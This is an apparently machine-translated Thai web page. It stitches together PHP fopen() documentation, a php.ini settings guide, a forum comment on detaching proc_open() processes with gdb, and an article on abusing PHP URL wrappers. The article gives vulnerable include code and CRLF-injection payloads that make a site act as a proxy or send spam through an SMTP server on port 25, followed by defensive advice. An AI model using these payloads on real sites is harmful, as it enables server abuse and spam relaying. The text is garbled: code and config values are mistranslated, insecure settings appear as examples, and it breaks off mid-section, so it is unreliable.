PHP proc_open บล็อกคำขอเว็บหรือไม่ การทำงานกับไฟล์ใน PHP: การเปิด, การเขียน, การอ่าน

ทรัพยากร โฟเพน(ชื่อไฟล์สตริง, โหมดสตริง [, bool use_include_path [, ทรัพยากร zcontext]])

โฟเพน()กำหนดทรัพยากรที่ระบุชื่อไว้ในอาร์กิวเมนต์ชื่อไฟล์ให้กับสตรีม หากชื่อไฟล์ถูกส่งในรูปแบบ "scheme://..." จะถือว่าเป็น URL และ PHP จะค้นหาตัวจัดการโปรโตคอล (หรือที่เรียกว่า "wrapper") สำหรับรูปแบบนั้น หากไม่มีการกำหนด wrapper ให้กับ โปรโตคอล PHP จะออกบันทึกเพื่อช่วยคุณติดตามปัญหาที่อาจเกิดขึ้นในสคริปต์ของคุณและจะดำเนินการดำเนินการต่อไปราวกับว่าชื่อไฟล์ชี้ไปที่ไฟล์ปกติ

หาก PHP ตัดสินใจว่าชื่อไฟล์นั้นชี้ไปที่ไฟล์ในเครื่อง ก็จะพยายามเปิดสตรีมไปยังไฟล์นั้น ไฟล์ต้องสามารถเข้าถึงได้โดย PHP ดังนั้นคุณควรตรวจสอบให้แน่ใจว่าสิทธิ์ของไฟล์อนุญาต หากคุณเปิดใช้งาน Safe Mode หรือ open_basedir ไว้ จะมีข้อจำกัดเพิ่มเติม

หาก PHP ตัดสินใจว่าชื่อไฟล์ชี้ไปที่โปรโตคอลที่ลงทะเบียนไว้ และโปรโตคอลนั้นได้รับการลงทะเบียนเป็น URL เครือข่าย PHP จะตรวจสอบสถานะของคำสั่ง Allow_url_fopen หากปิดใช้งาน PHP จะส่งคำเตือนและการเรียก fopen จะล้มเหลว

ความคิดเห็น:โปรโตคอลบางตัวรองรับตัวเลือกบริบทและ/หรือ php.ini โปรดดูหน้าโปรโตคอลที่เหมาะสมเพื่อดูรายการตัวเลือกที่สามารถตั้งค่าได้ (เช่น ค่า php.ini user_agent ถูกใช้โดย http wrapper) สำหรับคำอธิบายของบริบทและพารามิเตอร์ zcontext โปรดดูส่วนฟังก์ชันสตรีม

ความคิดเห็น:เพิ่มการรองรับบริบทใน PHP 5.0.0

ความคิดเห็น:ใน PHP 4.3.2 โหมดไบนารีเป็นโหมดเริ่มต้นสำหรับทุกแพลตฟอร์มที่แยกความแตกต่างระหว่างโหมดไบนารีและโหมดข้อความ หากคุณประสบปัญหาหลังจากอัปเกรด ให้ลองใช้แฟล็ก "t" เป็นวิธีการแก้ปัญหาชั่วคราวจนกว่าคุณจะเปลี่ยนสคริปต์เพื่อให้สามารถพกพาได้มากขึ้น ดังที่ระบุไว้ข้างต้น

พารามิเตอร์โหมดระบุประเภทของการเข้าถึงที่คุณร้องขอจากเธรด อาจเป็นหนึ่งในสิ่งต่อไปนี้:

หากไม่สามารถเปิดไฟล์ได้ ฟังก์ชันจะกลับมา เท็จและจะทำให้เกิดข้อผิดพลาดระดับ E_คำเตือน- คุณสามารถใช้สิ่งนี้เพื่อระงับคำเตือนนี้


ตัวอย่างที่ 1 ตัวอย่างการใช้ฟังก์ชัน โฟเพน()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" );
$handle = fopen ( "ftp://ผู้ใช้: [ป้องกันอีเมล]/somefile.txt", "ว" );
?>

หากคุณประสบปัญหาขณะอ่านหรือเขียนไฟล์และคุณใช้ PHP เป็นโมดูลเซิร์ฟเวอร์ ตรวจสอบให้แน่ใจว่ากระบวนการเซิร์ฟเวอร์สามารถเข้าถึงไฟล์และไดเร็กทอรีที่คุณใช้อยู่

ตำแหน่งของไฟล์ php.ini ขึ้นอยู่กับระบบปฏิบัติการที่เซิร์ฟเวอร์ของผู้ให้บริการโฮสต์ทำงานอยู่ หากต้องการทราบว่าอยู่ที่ไหน ให้ทำตาม 4 ขั้นตอนง่ายๆ:

  1. สร้างไฟล์ php (ชื่อจะเป็นอะไรก็ได้ แต่เราใช้ myphpinfo.php เป็นตัวอย่าง) และเพิ่มบรรทัดต่อไปนี้ลงไป:
  2. อัปโหลดไฟล์นี้ไปยังเซิร์ฟเวอร์ที่เว็บไซต์ของคุณตั้งอยู่ (ในโฟลเดอร์รูท)
  3. เราเปิดตัวผ่านเบราว์เซอร์ (ป้อน URL https://yoursitename.com/myphpinfo.php)
  4. ในหน้าต่างที่ปรากฏขึ้น ให้มองหาเส้นทางไปยัง php.ini (ขั้นแรกให้ดูที่ “ไฟล์การกำหนดค่าที่โหลด” หากมีข้อความว่า “ไม่มี” จากนั้นให้ดูที่ “เส้นทางของไฟล์การกำหนดค่า (php.ini)”)

จะกำหนดค่า php.ini ได้อย่างไร?

ไฟล์ php.ini มีกฎไวยากรณ์ต่อไปนี้ "directive = value" หากคุณต้องการเพิ่มความคิดเห็น (เช่น ซึ่งคุณระบุว่าการตั้งค่านี้ส่งผลต่ออะไร) ให้ทำหลังเครื่องหมายอัฒภาค (ทุกสิ่งที่อยู่หลังเครื่องหมายนี้จะไม่นับเป็นคำสั่ง) นี่คือตัวอย่าง:

สูงสุด_execution_time = 40 ; จำนวนวินาทีสูงสุดสำหรับการเรียกใช้สคริปต์

การตั้งค่าทั่วไป

PHPengine = เปิด ; เปิดใช้งานสคริปต์ PHP แล้ว

Short_open_tag = เปิด ; ช่วยให้การจัดเฟรมโค้ด PHP ง่ายขึ้นด้วยแท็ก

Asp_tags = เปิด ; เปิดใช้งานความสามารถในการเน้นโค้ด PHP เช่นเดียวกับที่ทำใน ASP -<% %>

ความแม่นยำ = 12 ; ระบุจำนวนหลักที่จะอยู่หลังจุดทศนิยมสำหรับตัวเลขทศนิยม

เอาท์พุต_บัฟเฟอร์ = 4096 ; การบัฟเฟอร์เอาต์พุตจะถูกเปิดใช้งานโดยอัตโนมัติ โดยระบุขนาดบัฟเฟอร์หลัง "เท่ากับ"

Safe_mode = เปิด ; เซฟโหมด

Safe_mode_allowed_env_vars = PHP_ ; อนุญาตให้ผู้ใช้ทำงานกับตัวแปรสภาพแวดล้อมที่ขึ้นต้นด้วย PHP_ เท่านั้น หากคำสั่งนี้ว่างเปล่า (จะไม่มีค่า) ผู้ใช้จะสามารถเปลี่ยนตัวแปรสภาพแวดล้อมได้ สิ่งนี้อาจส่งผลเสียอย่างมากต่อความปลอดภัยของสคริปต์

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; ห้ามไม่ให้เปลี่ยนแปลงตัวแปรที่แสดงโดยคั่นด้วยเครื่องหมายจุลภาค

Disable_functions = ; หลังจากเครื่องหมายเท่ากับ คุณจะต้องจดฟังก์ชันที่คุณต้องการปิดใช้งานโดยคั่นด้วยเครื่องหมายจุลภาค (โดยปกติจะทำเพื่อความปลอดภัย)

Disable_คลาส = ; หลังจากเครื่องหมาย "เท่ากับ" คุณต้องจดคลาสที่คุณต้องการห้ามการเรียกโดยคั่นด้วยเครื่องหมายจุลภาค (โดยปกติจะทำเพื่อความปลอดภัย)

ข้อจำกัดด้านทรัพยากร

สูงสุด_execution_time = 40 ; เวลาสูงสุดในการเรียกใช้สคริปต์ (เป็นวินาที)

Max_input_time = 40 ; เวลาสูงสุดเป็นวินาทีที่สคริปต์ได้รับเพื่อประมวลผลข้อมูลที่กำลังโหลด

หน่วยความจำ_จำกัด = 16M ; หน่วยความจำสูงสุดที่จัดสรรให้กับหนึ่งสคริปต์

การจัดการข้อผิดพลาดและบันทึก

error_reporting = E_ALL | E_ERROR | E_คำเตือน | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_ประกาศ ; ระบุรายการข้อผิดพลาดที่สามารถแสดงได้

Display_errors = เปิด; อนุญาตให้แสดงข้อผิดพลาดโดยตรงในเบราว์เซอร์ (มักใช้เพื่อความสะดวกในการแก้ไขจุดบกพร่อง)

Display_startup_errors = เปิด ; ข้อผิดพลาดที่ปรากฏระหว่างการเริ่มต้น PHP ได้รับอนุญาตให้แสดงได้

Log_errors = เปิด ; ข้อผิดพลาดได้รับอนุญาตให้เขียนลงในไฟล์บันทึก

Log_errors_max_len = 1024 ; จำนวนอักขระสูงสุดที่ความยาวของบันทึกสามารถมีได้

Track_errors = เปิด ; ข้อความแสดงข้อผิดพลาดล่าสุดจะถูกจัดเก็บไว้ในตัวแปร $php_errormsg

Html_errors = เปิด ; อนุญาตให้แสดงข้อความแสดงข้อผิดพลาดในรูปแบบ HTML

Error_log = ชื่อไฟล์ ; ตั้งชื่อบันทึกข้อผิดพลาด

การประมวลผลข้อมูล

ตัวแปร_ลำดับ = "EGPCS" ; ตั้งค่าลำดับที่ PHP จะลงทะเบียนตัวแปร (E - ตัวแปรในตัว, ตัวแปร G - GET, ตัวแปร P - POST, C - คุกกี้, S - เซสชัน) หากคุณลบตัวอักษรใดๆ การดำเนินการของตัวแปรที่เกี่ยวข้องจะถูกบล็อก

Register_globals = เปิด ; เปิดใช้งานความสามารถในการถือว่าตัวแปรที่มาผ่าน GET/POST/Cookie/session เป็นตัวแปรปกติ (เช่น "$variablename")

Register_argc_argv = เปิด ; อนุญาตให้สร้างตัวแปร $argv และ $argc ตามข้อมูลจากเมธอด GET

Post_max_size = 8M ; กำหนดจำนวนข้อมูลสูงสุดที่สามารถรับได้

Magic_quotes_gpc = เปิด ; เปิดใช้งานการประมวลผลราคาที่ได้รับโดยอัตโนมัติผ่าน POST/GET/Cookie

Auto_prepend_file = ; เนื้อหาของไฟล์ที่ระบุในคำสั่งเหล่านี้จะต้องได้รับการประมวลผลตามนั้นโดย PHP ก่อนที่จะรันสคริปต์
auto_append_file = ; เนื้อหาของไฟล์ที่ระบุในคำสั่งเหล่านี้จะต้องได้รับการประมวลผลตามนั้นโดย PHP หลังจากสคริปต์ถูกดำเนินการแล้ว

Default_mimetype = "ข้อความ/html" ; ตั้งค่าการเข้ารหัสสำหรับประเภทเนื้อหา โดยค่าเริ่มต้น text/html จะถูกใช้โดยไม่ระบุการเข้ารหัส

doc_root = ; ตั้งค่าโฟลเดอร์รูทสำหรับสคริปต์ PHP

Extension_dir = "./" ; ระบุโฟลเดอร์ที่จะจัดเก็บส่วนขยายที่โหลดแบบไดนามิก

กำลังอัพโหลดไฟล์

file_uploads = เปิด ; อนุญาตให้อัปโหลดไฟล์ไปยังเซิร์ฟเวอร์ได้

Upload_tmp_dir = ; ไดเร็กทอรีชั่วคราวสำหรับไฟล์ที่จะดาวน์โหลด

อัพโหลด_max_ขนาดไฟล์ = 2M ; ตั้งค่าขนาดไฟล์สูงสุดที่สามารถอัพโหลดได้

การทำงานกับซ็อกเก็ต

user_agent="PHP" ; ตัวแปร USER_AGENT ถูกตั้งค่าเมื่อมีการเชื่อมต่อซ็อกเก็ตเกิดขึ้น

Default_socket_timeout = 30 ; เวลาสูงสุดในการฟังบนซ็อกเก็ต (วินาที)

เซสชัน

session.save_handler = ไฟล์; ระบุว่าข้อมูลเซสชันควรถูกเก็บไว้ในไฟล์

session.save_path = /tmp ; หลังจากเครื่องหมายเท่ากับ คุณจะต้องระบุเส้นทางไปยังโฟลเดอร์ที่จะจัดเก็บข้อมูลเกี่ยวกับเซสชัน (สิ่งสำคัญคือต้องมีโฟลเดอร์นั้นมีอยู่แล้ว)

เซสชัน.use_cookies = 1 ; อนุญาตให้ใช้คุกกี้ในเซสชัน

session.name = PHPSESSID ; ระบุการใช้รหัสเซสชันเป็นชื่อเซสชันและคุกกี้เซสชัน

เซสชัน.cookie_lifetime = 0 ; อายุการใช้งานเซสชัน ("0" หมายความว่าเซสชันใช้งานได้จนกว่าหน้าต่างเบราว์เซอร์จะปิด)

เซสชั่น.use_trans_sid = 1 ; หากผู้ใช้ปิดใช้งานคุกกี้ รหัสเซสชันจะถูกเพิ่มลงในลิงก์ทั้งหมด

ส่วนขยายแบบไดนามิก

ส่วนขยาย=ชื่อโมดูล.ส่วนขยาย ; สามารถใช้โหลดโมดูลภายนอกได้ สำหรับระบบ Windows มักจะเขียนว่า extension=msql.dll และสำหรับ
UNIX - ส่วนขยาย=msql.so

การทำงานกับโมดูล MySQL

mysql.allow_persistent = เปิด ; อนุญาตการเชื่อมต่อ MySQL ที่เสถียร

Mysql.max_persistent = -1 ; ตั้งค่าจำนวนการเชื่อมต่อ MySQL ที่เสถียรสูงสุด หากคุณระบุ -1 แสดงว่าไม่มีข้อจำกัด

Mysql.max_links = -1 ; ตั้งค่าจำนวนสูงสุดของการเชื่อมต่อ MySQL ที่เสถียรและการเชื่อมต่อ ODBC ที่ไม่เสถียร หากคุณระบุ -1 แสดงว่าไม่มีข้อจำกัด

Mysql.default_port = ; พอร์ตสำหรับฟังก์ชัน mysql_connect

Mysql.default_socket = ; ชื่อซ็อกเก็ตสำหรับการเชื่อมต่อ MySQL ภายในเครื่อง

Mysql.default_host = ; ชื่อโฮสต์สำหรับฟังก์ชัน mysql_connect

Mysql.default_user = ; ชื่อผู้ใช้.

Mysql.default_password = ; รหัสผ่าน.

หากคุณสร้างไฟล์ php.ini ของคุณเองและวางไว้ในโฟลเดอร์ไซต์

ในกรณีนี้ ด้วยเหตุผลด้านความปลอดภัย คุณต้องบล็อกการเข้าถึงสำหรับทุกคนยกเว้นคุณ ในการดำเนินการนี้ คุณจะต้องเขียนโค้ดต่อไปนี้ลงในไฟล์ .htaccess:


คำสั่งอนุญาต, ปฏิเสธ
ปฏิเสธจากทั้งหมด

แต่ต้องระวังเพราะ... ด้วยการตั้งค่าเหล่านี้ คำสั่งทั้งหมด (php_value, php_flag ฯลฯ) ที่เกี่ยวข้องกับการตั้งค่า php ผ่านไฟล์ .htaccess จะหยุดทำงาน (ข้อผิดพลาดเซิร์ฟเวอร์ภายใน 500 ข้อจะปรากฏขึ้น)

สำคัญ! หากคุณสร้างไฟล์ php.ini ของคุณเอง ไฟล์นั้นจะมีผลกับไดเร็กทอรีที่ไฟล์นั้นตั้งอยู่เท่านั้น

ฉันมีเวลาช่วงสุดสัปดาห์ดังนั้นฉันจึงทำการวิจัยเล็กน้อยเกี่ยวกับ proc_open() บนระบบ *nix

ในขณะที่ proc_open() ไม่ได้บล็อกการทำงานของสคริปต์ PHP แม้ว่าเชลล์สคริปต์จะไม่ทำงานในพื้นหลังก็ตาม PHP จะเรียก proc_close() โดยอัตโนมัติหลังจากที่สคริปต์ PHP ถูกดำเนินการอย่างสมบูรณ์หากคุณไม่ได้เรียกมัน ดังนั้นเราจึงสามารถจินตนาการได้ว่าเรามีบรรทัดที่มี proc_close() อยู่ท้ายสคริปต์เสมอ

ปัญหาอยู่ที่ต้นแบบที่ไม่ชัดเจนแต่สมเหตุสมผลของ proc_close() สมมติว่าเรามีสคริปต์เช่น:

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w")), $pipes); //ประมวลผลข้อมูลบางส่วนที่สคริปต์ของเราส่งออก แต่ไม่ใช่ข้อมูลทั้งหมด echo fread($pipes,100); //อย่ารอจนกว่าการดำเนินการ scipt สิ้นสุดลง - ออก //ปิดไพพ์ array_map("fclose",$pipes); //ปิดกระบวนการ proc_close($proc);

แปลก proc_close() รอจนกว่าเชลล์สคริปต์จะยุติ แต่สคริปต์ของเราก็ถูกยกเลิกหลังจากนั้นไม่นาน สิ่งนี้เกิดขึ้นเนื่องจากเราปิดไพพ์ (ดูเหมือนว่า PHP จะทำสิ่งนี้แบบเงียบๆ ในกรณีที่เราลืม) เนื่องจากสคริปต์นี้พยายามเขียนบางสิ่งลงในไพพ์ที่ไม่มีอยู่แล้ว - ได้รับข้อผิดพลาดและออก

ทีนี้มาลองโดยไม่ต้องใช้ไปป์ (ก็ใช้ได้ แต่พวกเขาจะใช้ tty ปัจจุบันโดยไม่มีลิงก์ไปยัง PHP):

$proc = proc_open("top -b -n 10,000", array(), $pipes); proc_close($proc);

ตอนนี้สคริปต์ PHP ของเรากำลังรอให้เชลล์สคริปต์ของเราเสร็จสมบูรณ์ เราสามารถหลีกเลี่ยงสิ่งนี้ได้หรือไม่? โชคดีที่ PHP สร้างเชลล์สคริปต์โดยใช้

ช -c "shell_script"

ดังนั้นเราจึงสามารถฆ่ากระบวนการ sh และปล่อยให้สคริปต์ของเราทำงานต่อไป:

$proc = proc_open("top -b -n 10,000", array(), $pipes); $proc_status=proc_get_status($proc); exec("kill -9 ".$proc_status["pid"]); proc_close($proc);

แน่นอนว่าเราสามารถรันกระบวนการนี้ในเบื้องหลังได้ เช่นนี้

$proc = proc_open("top -b -n 10,000 &", array(), $pipes); proc_close($proc);

และไม่มีปัญหา แต่ฟังก์ชันนี้นำเราไปสู่คำถามที่ยากที่สุด: เราสามารถเริ่มกระบวนการด้วย proc_open() อ่านเอาต์พุตบางส่วน แล้วบังคับกระบวนการอีกครั้งได้หรือไม่ ในทางหนึ่งใช่

ปัญหาหลักที่นี่คือไปป์ เราไม่สามารถปิดไพพ์ได้ ไม่เช่นนั้นกระบวนการของเราจะตาย แต่เราต้องการให้ไพพ์อ่านข้อมูลที่เป็นประโยชน์จากกระบวนการนั้น ปรากฎว่าเราสามารถใช้กลอุบายได้ที่นี่ - gdb

ขั้นแรกให้สร้างไฟล์ที่ไหนสักแห่ง (/usr/share/gdb_null_descr ในตัวอย่างของฉัน) โดยมีเนื้อหาต่อไปนี้:

P dup2(เปิด("/dev/null",0),1) p dup2(เปิด("/dev/null",0),2)

มันจะบอกให้ gdb เปลี่ยน descriptors 1 และ 2 (โดยทั่วไปคือ stdout และ stderr) เป็นตัวจัดการไฟล์ใหม่ (/dev/null ในตัวอย่างนี้ แต่คุณสามารถเปลี่ยนได้)

ตอนนี้สิ่งสุดท้าย: ตรวจสอบให้แน่ใจว่า gdb สามารถเชื่อมต่อกับกระบวนการทำงานอื่น ๆ ได้ - สิ่งนี้จะใช้โดยค่าเริ่มต้นในบางระบบ แต่ตัวอย่างเช่นบน Ubuntu 10.10 คุณต้องตั้งค่า /proc/sys/kernel/yama/ptrace _scope เป็น 0 หากคุณไม่ต้องการ อย่ารันมันเป็นรูท

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $ไปป์); //ประมวลผลข้อมูลบางส่วนที่สคริปต์ของเราส่งออก แต่ไม่ใช่ข้อมูลทั้งหมด echo fread($pipes,100); $proc_status=proc_get_status($proc); //ค้นหา pid ที่แท้จริงของกระบวนการของเรา(เราต้องลงไปหนึ่งขั้นตอนในแผนผังกระบวนการ) $pid=trim(exec("ps h -o pid --ppid ".$proc_status["pid"])); //ฆ่าผู้ปกครอง sh กระบวนการ exec("kill -s 9 ".$proc_status["pid"]); //เปลี่ยนตัวจัดการ stdin/stdout ในกระบวนการของเรา exec("gdb -p ".$pid." --batch -x /usr/share/gdb_null_descr"); array_map("fclose",$pipes); proc_close($proc);

แก้ไข: ฉันลืมที่จะพูดถึงว่า PHP ไม่ได้รันเชลล์สคริปต์ของคุณทันที ดังนั้นคุณต้องรอสักครู่ก่อนที่จะรันคำสั่งเชลล์อื่น ๆ แต่โดยปกติแล้วจะเร็วพอ (หรือ PHP ช้าพอ) และฉันขี้เกียจเกินไปที่จะเพิ่ม การตรวจสอบเหล่านั้นเป็นตัวอย่างของฉัน

ฟังก์ชัน fopen, file, include และ need สามารถเปิดไฟล์จากไซต์อื่นโดยใช้โปรโตคอล http และ ftp คุณลักษณะนี้มีช่องโหว่ที่อาจเกิดขึ้นในสคริปต์ PHP ซึ่งทำให้ไซต์สามารถใช้เป็นพร็อกซีได้

ฉันเตือนคุณว่าจะไม่มีอะไรใหม่ในเนื้อหานี้ แม้จะมีความสามารถที่น่าประทับใจสำหรับผู้โจมตี แต่ช่องโหว่นี้เป็นเพียงการผสมผสานระหว่างคุณสมบัติ PHP ที่รู้จักกันดี

ในปี 2545 หลายกลุ่มที่ค้นหาช่องโหว่ของซอฟต์แวร์ได้ค้นพบช่องโหว่ที่ร้ายแรงและมีประสิทธิภาพใน php.ini พร้อมกัน

ช่องโหว่นี้ไม่ครอบคลุมอยู่ในอินเทอร์เน็ตภาษารัสเซีย ฉันไม่พบรายงานโดยตรงเกี่ยวกับช่องโหว่นี้ในเว็บไซต์ความปลอดภัยภาษารัสเซีย

ช่องโหว่

Wrapper URL ของ fopen

เพื่อเพิ่มฟังก์ชันการทำงานและลดความซับซ้อนในการเขียนโค้ด นักพัฒนา PHP ได้สร้างฟีเจอร์นี้ใน fopen, file, include และฟังก์ชันอื่นๆ หากชื่อไฟล์ขึ้นต้นด้วย "http://" เซิร์ฟเวอร์จะสร้างคำขอ HTTP ดาวน์โหลดเพจ และเขียนลงในตัวแปรราวกับว่ามาจากไฟล์ปกติ คำนำหน้า "ftp://", "php://" ทำงานในลักษณะเดียวกัน (คำนำหน้ามีไว้สำหรับการอ่านและเขียนไปยัง stdin, stdout และ stderr) นี่เป็นสิ่งจำเป็นเพื่อให้นักพัฒนาเว็บไซต์ไม่ต้องดิ้นรนกับไลบรารีคำขอ http และเขียนด้วยตนเอง ตัวเลือกนี้ถูกปิดใช้งานในการตั้งค่า php ซึ่งเป็นพารามิเตอร์ Allow_url_fopen

CR/LF ในคำขอ HTTP

การรวมกันของอักขระขึ้นบรรทัดใหม่และการป้อนบรรทัดในคำขอ HTTP จะแยกส่วนหัว คุณสามารถอ่านเพิ่มเติมเกี่ยวกับเรื่องนี้ได้ในบทความโดย Anton Kalmykov การผสมอักขระนี้สามารถส่งผ่านในคำขอ GET ในรูปแบบ "%0D%0A"

อินพุตที่ไม่น่าเชื่อถือ

ในหลายไซต์ เพจต่างๆ ถูกสร้างขึ้นโดยสคริปต์เทมเพลต คำขอไซต์ทั้งหมดจะถูกเปลี่ยนเส้นทางไปยังสคริปต์ ชื่อของไฟล์ที่จะเปิดนำมาจาก REQUEST_URI อ่านไฟล์แล้ว มีการเพิ่มเทมเพลตพร้อมการนำทาง ส่วนหัว ฯลฯ และผลลัพธ์จะมอบให้กับไคลเอนต์

โปรแกรมเมอร์ที่ประมาทหรือไม่มีประสบการณ์สามารถเขียนเพื่อเปิดไฟล์ได้อย่างง่ายดายโดยไม่ต้องตรวจสอบข้อมูล:

echo implode("", file(substr($REQUEST_URI, 1)));

อักขระตัวแรก - เครื่องหมายทับ - จะถูกละทิ้งจากคำขอและเปิดไฟล์ ผู้โจมตีสามารถป้อนบรรทัด http://example.com เป็นเส้นทางไปยังไฟล์บนเซิร์ฟเวอร์ได้อย่างง่ายดาย: http://n00b.programmer.com/http://example.comอีกทางเลือกหนึ่งคือที่อยู่ทั้งหมดบนเว็บไซต์จะมีลักษณะเช่นนี้ http://n00b.programmer.com/index.php?f=newsในกรณีนี้ผู้โจมตีจะพยายามเปิดที่อยู่ดังกล่าว http://n00b.programmer.com/index.php?f=http://example.comสิ่งสำคัญมากคืออย่าเชื่อถือข้อมูลขาเข้าและกรองคำขอที่เข้ามาโดยใช้นิพจน์ทั่วไป

หาประโยชน์

เนื่องจากในตัวอย่างข้างต้น ที่อยู่ไม่ได้ถูกตรวจสอบแต่อย่างใด คุณจึงสามารถแทรกบรรทัดที่มีคำขอ HTTP ลงในคำขอได้ หากมีผู้บุกรุกเปิดทาง

Index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0A
โฮสต์:+example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001+
%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A จากนั้นสคริปต์จะดำเนินการตามคำขอ HTTP: GET example.com/ HTTP/1.0\r\n
โฮสต์: example.com\r\n
ตัวแทนผู้ใช้: Space Bizon/9.11.2001 (Windows 67)\r\n
var1=foo&var2=bar\r\n
\ร\n
HTTP/1.0\r\n
โฮสต์: www.site1.st\r\n
ตัวแทนผู้ใช้: PHP/4.1.2\r\n
\ร\n

สคริปต์จะเพิ่มสามบรรทัดสุดท้ายโดยอัตโนมัติ แต่สอง \r\n ก่อนหน้านั้นหมายถึงการสิ้นสุดคำขอ ดังนั้นสคริปต์ที่ไม่มีการป้องกันจึงสามารถใช้เป็นพร็อกซีเซิร์ฟเวอร์ได้ เมื่อทราบไซต์ที่ "รั่วไหล" หลายแห่ง ผู้โจมตีสามารถสร้างเครือข่ายของไซต์เหล่านั้นเพื่อทำให้ค้นหาได้ยากยิ่งขึ้น

การใช้ช่องโหว่อย่างชาญฉลาด

หากผู้ให้บริการที่ให้การเข้าถึงการสาธิตฟรีมีเว็บไซต์รั่ว คุณสามารถเขียนสคริปต์สำหรับโฮมเซิร์ฟเวอร์ของคุณซึ่งจะสร้างคำขอไปยังพร็อกซีเซิร์ฟเวอร์ดังกล่าวและประหยัดเงินได้ แน่นอนว่าเรื่องนี้เป็นเรื่องที่รับรู้ได้และมีโทษ แต่โดยส่วนใหญ่แล้วเป็นการเอาอกเอาใจ การใช้เครื่องของผู้อื่นเป็นพร็อกซีอย่างมีกำไรมากขึ้นกำลังส่งสแปมเชิงพาณิชย์ ตัวอย่างจากบทความที่เขียนโดย Ulf Harnhammar:

Index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+จาก%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+จะ+ไม่+พูด+the+คำ+
ผัดวันประกันพรุ่ง+อีกครั้ง%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

(ต้องเป็นหนึ่งบรรทัด) โมดูล PHP จะเชื่อมต่อกับเซิร์ฟเวอร์ mail.example.com บนพอร์ต 25 และส่งคำขอต่อไปนี้:

รับ / HTTP/1.0\r\n
HELO my.own.machine\r\n
จดหมายจาก: \r\n
RCPT ถึง: \r\n
ข้อมูล\r\n
ฉันจะไม่พูดคำว่าผัดวันประกันพรุ่งอีกต่อไป\r\n
.\r\n
ออกจาก\r\n\r\n

HTTP/1.0\r\n
โฮสต์: mail.site1.st:25\r\n
ตัวแทนผู้ใช้: PHP/4.1.2\r\n\r\n

PHP และเมลเซิร์ฟเวอร์จะโต้แย้ง แต่จดหมายจะถูกส่งไป การมีช่องโหว่ในเว็บไซต์ของใครบางคน คุณสามารถค้นหาการส่งต่อเมลแบบปิดที่รับเมลจากเว็บเซิร์ฟเวอร์ที่ถูกโจมตี การส่งต่อนี้จะไม่อยู่ในบัญชีดำของผู้ให้บริการ และการส่งสแปมอาจมีประสิทธิภาพมาก บนเว็บไซต์ของฉัน ฉันพบคำขอจำนวนมากที่มีพอร์ต 25 อยู่ระหว่างการขนส่ง ยิ่งไปกว่านั้นจนถึงต้นปีนี้ยังไม่มีการร้องขอดังกล่าว ก่อนหน้านี้ มีผู้ใช้ที่อยากรู้อยากเห็นเพียงไม่กี่รายเท่านั้นที่ทราบเกี่ยวกับช่องโหว่ดังกล่าว และมีเพียงปีที่แล้วเท่านั้นที่หลุมดังกล่าวเป็นที่รู้จักต่อสาธารณะและถูกเผยแพร่โดยผู้ส่งอีเมลขยะ

มาตรการป้องกันการใช้ประโยชน์

ในฐานะนักพัฒนาหรือเจ้าของไซต์ สิ่งสำคัญคือต้องทำทุกอย่างที่ทำได้เพื่อให้แน่ใจว่าจะไม่มีใครส่งสแปมผ่านไซต์ของคุณได้ หากวิธีนี้ได้ผล มันจะถูกส่งจากสายโทรศัพท์ฮาวายบางสาย ซึ่งเจ้าของไม่เข้าใจภาษามนุษย์ และพวกเขาสามารถทำให้คุณเป็นภาษาสุดท้ายได้

กำลังตรวจสอบบันทึกคำขอ

ขั้นแรก การทำความคุ้นเคยกับรายการที่อยู่เฉพาะที่ร้องขอจากเว็บไซต์จะเป็นประโยชน์ วิธีนี้จะช่วยให้คุณทราบว่ามีกรณีของการโจมตีและการแสวงหาประโยชน์จากหลุมดังกล่าวหรือไม่ โดยทั่วไปแล้ว ผู้ส่งอีเมลขยะจะตรวจสอบความเป็นไปได้ทันทีในการเชื่อมต่อกับเมลรีเลย์ที่พวกเขาต้องการผ่านพอร์ต 25 ดังนั้น คุณควรมองหาบรรทัด ":25" และ "%3A25"

การตั้งค่า PHP

วิธีที่ง่ายที่สุดในการปิดการใช้งานช่องโหว่ที่เป็นไปได้คือการปิดการใช้งาน URL ที่เปิดผ่านฟังก์ชั่นไฟล์ หากคุณเป็นผู้ดูแลระบบเซิร์ฟเวอร์ของคุณ ให้ปิดการใช้งาน Allow_url_fopen ในการตั้งค่า php ของคุณ หากคุณเป็นเพียงลูกค้า ให้บล็อกมันในเครื่อง ในไฟล์ .htaccess สำหรับรูทไซต์ ให้เขียนบรรทัด: php_value อนุญาต url_fopen 0หากคุณเป็นผู้ให้บริการโฮสติ้งที่ชั่วร้าย คุณสามารถปิดการใช้งาน fopen wrapper URL สำหรับไคลเอนต์ทั้งหมดที่ใช้คำสั่งนี้ได้ php_admin_value- การเปิดใช้งานเซฟโหมดจะไม่ช่วยในกรณีนี้ ฟังก์ชั่นยังคงทำงานได้อย่างถูกต้อง

การเปลี่ยนแปลงรหัส

